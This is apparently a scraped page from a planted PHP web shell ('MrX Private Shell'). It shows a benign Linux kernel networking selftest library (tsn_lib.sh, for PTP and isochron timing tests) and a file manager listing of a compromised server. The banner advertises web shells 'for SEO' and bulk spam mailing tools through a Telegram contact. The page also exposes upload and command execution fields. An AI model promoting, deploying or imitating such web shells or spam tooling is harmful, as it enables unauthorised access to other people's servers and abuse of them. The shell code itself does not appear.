__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
#!/bin/bash
# SPDX-License-Identifier: GPL-2.0
# Copyright 2021-2022 NXP

REQUIRE_ISOCHRON=${REQUIRE_ISOCHRON:=yes}
REQUIRE_LINUXPTP=${REQUIRE_LINUXPTP:=yes}

# Tunables
UTC_TAI_OFFSET=37
ISOCHRON_CPU=1

if [[ "$REQUIRE_ISOCHRON" = "yes" ]]; then
	# https://github.com/vladimiroltean/tsn-scripts
	# WARNING: isochron versions pre-1.0 are unstable,
	# always use the latest version
	require_command isochron
fi
if [[ "$REQUIRE_LINUXPTP" = "yes" ]]; then
	require_command phc2sys
	require_command ptp4l
fi

phc2sys_start()
{
	local uds_address=$1
	local extra_args=""

	if ! [ -z "${uds_address}" ]; then
		extra_args="${extra_args} -z ${uds_address}"
	fi

	phc2sys_log="$(mktemp)"

	chrt -f 10 phc2sys -m \
		-a -rr \
		--step_threshold 0.00002 \
		--first_step_threshold 0.00002 \
		${extra_args} \
		> "${phc2sys_log}" 2>&1 &
	phc2sys_pid=$!

	echo "phc2sys logs to ${phc2sys_log} and has pid ${phc2sys_pid}"

	sleep 1
}

phc2sys_stop()
{
	{ kill ${phc2sys_pid} && wait ${phc2sys_pid}; } 2> /dev/null
	rm "${phc2sys_log}" 2> /dev/null
}

# Replace space separators from interface list with underscores
if_names_to_label()
{
	local if_name_list="$1"

	echo "${if_name_list/ /_}"
}

ptp4l_start()
{
	local if_names="$1"
	local slave_only=$2
	local uds_address=$3
	local log="ptp4l_log_$(if_names_to_label ${if_names})"
	local pid="ptp4l_pid_$(if_names_to_label ${if_names})"
	local extra_args=""

	for if_name in ${if_names}; do
		extra_args="${extra_args} -i ${if_name}"
	done

	if [ "${slave_only}" = true ]; then
		extra_args="${extra_args} -s"
	fi

	# declare dynamic variables ptp4l_log_${if_name} and ptp4l_pid_${if_name}
	# as global, so that they can be referenced later
	declare -g "${log}=$(mktemp)"

	chrt -f 10 ptp4l -m -2 -P \
		--step_threshold 0.00002 \
		--first_step_threshold 0.00002 \
		--tx_timestamp_timeout 100 \
		--uds_address="${uds_address}" \
		${extra_args} \
		> "${!log}" 2>&1 &
	declare -g "${pid}=$!"

	echo "ptp4l for interfaces ${if_names} logs to ${!log} and has pid ${!pid}"

	sleep 1
}

ptp4l_stop()
{
	local if_names="$1"
	local log="ptp4l_log_$(if_names_to_label ${if_names})"
	local pid="ptp4l_pid_$(if_names_to_label ${if_names})"

	{ kill ${!pid} && wait ${!pid}; } 2> /dev/null
	rm "${!log}" 2> /dev/null
}

cpufreq_max()
{
	local cpu=$1
	local freq="cpu${cpu}_freq"
	local governor="cpu${cpu}_governor"

	# Kernel may be compiled with CONFIG_CPU_FREQ disabled
	if ! [ -d /sys/bus/cpu/devices/cpu${cpu}/cpufreq ]; then
		return
	fi

	# declare dynamic variables cpu${cpu}_freq and cpu${cpu}_governor as
	# global, so they can be referenced later
	declare -g "${freq}=$(cat /sys/bus/cpu/devices/cpu${cpu}/cpufreq/scaling_min_freq)"
	declare -g "${governor}=$(cat /sys/bus/cpu/devices/cpu${cpu}/cpufreq/scaling_governor)"

	cat /sys/bus/cpu/devices/cpu${cpu}/cpufreq/scaling_max_freq > \
		/sys/bus/cpu/devices/cpu${cpu}/cpufreq/scaling_min_freq
	echo -n "performance" > \
		/sys/bus/cpu/devices/cpu${cpu}/cpufreq/scaling_governor
}

cpufreq_restore()
{
	local cpu=$1
	local freq="cpu${cpu}_freq"
	local governor="cpu${cpu}_governor"

	if ! [ -d /sys/bus/cpu/devices/cpu${cpu}/cpufreq ]; then
		return
	fi

	echo "${!freq}" > /sys/bus/cpu/devices/cpu${cpu}/cpufreq/scaling_min_freq
	echo -n "${!governor}" > \
		/sys/bus/cpu/devices/cpu${cpu}/cpufreq/scaling_governor
}

isochron_recv_start()
{
	local if_name=$1
	local uds=$2
	local stats_port=$3
	local extra_args=$4
	local pid="isochron_pid_${stats_port}"

	if ! [ -z "${uds}" ]; then
		extra_args="${extra_args} --unix-domain-socket ${uds}"
	fi

	isochron rcv \
		--interface ${if_name} \
		--sched-priority 98 \
		--sched-fifo \
		--utc-tai-offset ${UTC_TAI_OFFSET} \
		--stats-port ${stats_port} \
		--quiet \
		${extra_args} & \
	declare -g "${pid}=$!"

	sleep 1
}

isochron_recv_stop()
{
	local stats_port=$1
	local pid="isochron_pid_${stats_port}"

	{ kill ${!pid} && wait ${!pid}; } 2> /dev/null
}

isochron_do()
{
	local sender_if_name=$1; shift
	local receiver_if_name=$1; shift
	local sender_uds=$1; shift
	local receiver_uds=$1; shift
	local base_time=$1; shift
	local cycle_time=$1; shift
	local shift_time=$1; shift
	local num_pkts=$1; shift
	local vid=$1; shift
	local priority=$1; shift
	local dst_ip=$1; shift
	local isochron_dat=$1; shift
	local extra_args=""
	local receiver_extra_args=""
	local vrf="$(master_name_get ${sender_if_name})"
	local use_l2="true"

	if ! [ -z "${dst_ip}" ]; then
		use_l2="false"
	fi

	if ! [ -z "${vrf}" ]; then
		dst_ip="${dst_ip}%${vrf}"
	fi

	if ! [ -z "${vid}" ]; then
		vid="--vid=${vid}"
	fi

	if [ -z "${receiver_uds}" ]; then
		extra_args="${extra_args} --omit-remote-sync"
	fi

	if ! [ -z "${shift_time}" ]; then
		extra_args="${extra_args} --shift-time=${shift_time}"
	fi

	if [ "${use_l2}" = "true" ]; then
		extra_args="${extra_args} --l2 --etype=0xdead ${vid}"
		receiver_extra_args="--l2 --etype=0xdead"
	else
		extra_args="${extra_args} --l4 --ip-destination=${dst_ip}"
		receiver_extra_args="--l4"
	fi

	cpufreq_max ${ISOCHRON_CPU}

	isochron_recv_start "${h2}" "${receiver_uds}" 5000 "${receiver_extra_args}"

	isochron send \
		--interface ${sender_if_name} \
		--unix-domain-socket ${sender_uds} \
		--priority ${priority} \
		--base-time ${base_time} \
		--cycle-time ${cycle_time} \
		--num-frames ${num_pkts} \
		--frame-size 64 \
		--txtime \
		--utc-tai-offset ${UTC_TAI_OFFSET} \
		--cpu-mask $((1 << ${ISOCHRON_CPU})) \
		--sched-fifo \
		--sched-priority 98 \
		--client 127.0.0.1 \
		--sync-threshold 5000 \
		--output-file ${isochron_dat} \
		${extra_args} \
		--quiet

	isochron_recv_stop 5000

	cpufreq_restore ${ISOCHRON_CPU}
}

Filemanager

Name Type Size Permission Actions
Makefile File 2.94 KB 0644
bridge_fdb_learning_limit.sh File 5.8 KB 0755
bridge_igmp.sh File 14.71 KB 0755
bridge_locked_port.sh File 9.25 KB 0755
bridge_mdb.sh File 45.15 KB 0755
bridge_mdb_host.sh File 1.66 KB 0755
bridge_mdb_max.sh File 29.98 KB 0755
bridge_mdb_port_down.sh File 2.24 KB 0755
bridge_mld.sh File 16.17 KB 0755
bridge_port_isolation.sh File 2.32 KB 0755
bridge_sticky_fdb.sh File 1.13 KB 0755
bridge_vlan_aware.sh File 4.2 KB 0755
bridge_vlan_mcast.sh File 16.74 KB 0755
bridge_vlan_unaware.sh File 1.65 KB 0755
custom_multipath_hash.sh File 9.8 KB 0755
devlink_lib.sh File 12.81 KB 0644
dual_vxlan_bridge.sh File 11.21 KB 0755
fib_offload_lib.sh File 24.57 KB 0644
gre_custom_multipath_hash.sh File 12.51 KB 0755
gre_inner_v4_multipath.sh File 7.55 KB 0755
gre_inner_v6_multipath.sh File 7.66 KB 0755
gre_multipath.sh File 6.29 KB 0755
gre_multipath_nh.sh File 8.1 KB 0755
gre_multipath_nh_res.sh File 8.25 KB 0755
ip6_forward_instats_vrf.sh File 3.04 KB 0755
ip6gre_custom_multipath_hash.sh File 12.77 KB 0755
ip6gre_flat.sh File 1.18 KB 0755
ip6gre_flat_key.sh File 1.24 KB 0755
ip6gre_flat_keys.sh File 1.3 KB 0755
ip6gre_hier.sh File 1.27 KB 0755
ip6gre_hier_key.sh File 1.33 KB 0755
ip6gre_hier_keys.sh File 1.39 KB 0755
ip6gre_inner_v4_multipath.sh File 7.77 KB 0755
ip6gre_inner_v6_multipath.sh File 7.88 KB 0755
ip6gre_lib.sh File 15.75 KB 0644
ipip_flat_gre.sh File 838 B 0755
ipip_flat_gre_key.sh File 860 B 0755
ipip_flat_gre_keys.sh File 886 B 0755
ipip_hier_gre.sh File 887 B 0755
ipip_hier_gre_key.sh File 910 B 0755
ipip_hier_gre_keys.sh File 938 B 0755
ipip_lib.sh File 8.34 KB 0644
lib.sh File 41.63 KB 0644
lib_sh_test.sh File 3.57 KB 0755
local_termination.sh File 14.42 KB 0755
min_max_mtu.sh File 4.74 KB 0755
mirror_gre.sh File 2.9 KB 0755
mirror_gre_bound.sh File 5.51 KB 0755
mirror_gre_bridge_1d.sh File 4.12 KB 0755
mirror_gre_bridge_1d_vlan.sh File 2.37 KB 0755
mirror_gre_bridge_1q.sh File 3.97 KB 0755
mirror_gre_bridge_1q_lag.sh File 7.02 KB 0755
mirror_gre_changes.sh File 5.17 KB 0755
mirror_gre_flower.sh File 2.61 KB 0755
mirror_gre_lag_lacp.sh File 7.48 KB 0755
mirror_gre_lib.sh File 3.65 KB 0644
mirror_gre_neigh.sh File 2.08 KB 0755
mirror_gre_nh.sh File 2.53 KB 0755
mirror_gre_topo_lib.sh File 3.45 KB 0644
mirror_gre_vlan.sh File 1.36 KB 0755
mirror_gre_vlan_bridge_1q.sh File 8.46 KB 0755
mirror_lib.sh File 3.72 KB 0644
mirror_topo_lib.sh File 2.73 KB 0644
mirror_vlan.sh File 1.86 KB 0755
no_forwarding.sh File 5.52 KB 0755
pedit_dsfield.sh File 6.69 KB 0755
pedit_ip.sh File 4.41 KB 0755
pedit_l4port.sh File 4.46 KB 0755
q_in_vni.sh File 10.71 KB 0755
q_in_vni_ipv6.sh File 10.87 KB 0755
router.sh File 7.32 KB 0755
router_bridge.sh File 3.97 KB 0755
router_bridge_1d.sh File 5.1 KB 0755
router_bridge_1d_lag.sh File 9.3 KB 0755
router_bridge_lag.sh File 6.82 KB 0755
router_bridge_pvid_vlan_upper.sh File 3.5 KB 0755
router_bridge_vlan.sh File 5.46 KB 0755
router_bridge_vlan_upper.sh File 3.92 KB 0755
router_bridge_vlan_upper_pvid.sh File 3.7 KB 0755
router_broadcast.sh File 5.02 KB 0755
router_mpath_nh.sh File 10.73 KB 0755
router_mpath_nh_lib.sh File 3.2 KB 0644
router_mpath_nh_res.sh File 12.71 KB 0755
router_mpath_seed.sh File 7.37 KB 0755
router_multicast.sh File 14.6 KB 0755
router_multipath.sh File 7.07 KB 0755
router_nh.sh File 3.31 KB 0755
router_vid_1.sh File 3.52 KB 0755
sch_ets.sh File 745 B 0755
sch_ets_core.sh File 7.33 KB 0644
sch_ets_tests.sh File 4.09 KB 0644
sch_red.sh File 11.14 KB 0755
sch_tbf_core.sh File 4.77 KB 0644
sch_tbf_ets.sh File 118 B 0755
sch_tbf_etsprio.sh File 1.37 KB 0644
sch_tbf_prio.sh File 118 B 0755
sch_tbf_root.sh File 496 B 0755
skbedit_priority.sh File 3.87 KB 0755
tc_actions.sh File 9.3 KB 0755
tc_chains.sh File 4.83 KB 0755
tc_common.sh File 710 B 0644
tc_flower.sh File 21.24 KB 0755
tc_flower_cfm.sh File 4.85 KB 0755
tc_flower_l2_miss.sh File 9.13 KB 0755
tc_flower_port_range.sh File 7.35 KB 0755
tc_flower_router.sh File 3.02 KB 0755
tc_mpls_l2vpn.sh File 5.03 KB 0755
tc_police.sh File 11.75 KB 0755
tc_shblocks.sh File 2.68 KB 0755
tc_tunnel_key.sh File 3.71 KB 0755
tc_vlan_modify.sh File 3.17 KB 0755
tsn_lib.sh File 5.47 KB 0644
vxlan_asymmetric.sh File 17.55 KB 0755
vxlan_asymmetric_ipv6.sh File 16.03 KB 0755
vxlan_bridge_1d.sh File 20.4 KB 0755
vxlan_bridge_1d_ipv6.sh File 21.31 KB 0755
vxlan_bridge_1d_port_8472.sh File 172 B 0755
vxlan_bridge_1d_port_8472_ipv6.sh File 188 B 0755
vxlan_bridge_1q.sh File 22.91 KB 0755
vxlan_bridge_1q_ipv6.sh File 24.35 KB 0755
vxlan_bridge_1q_port_8472.sh File 172 B 0755
vxlan_bridge_1q_port_8472_ipv6.sh File 188 B 0755
vxlan_reserved.sh File 7.23 KB 0755
vxlan_symmetric.sh File 18.05 KB 0755
vxlan_symmetric_ipv6.sh File 18.31 KB 0755
Filemanager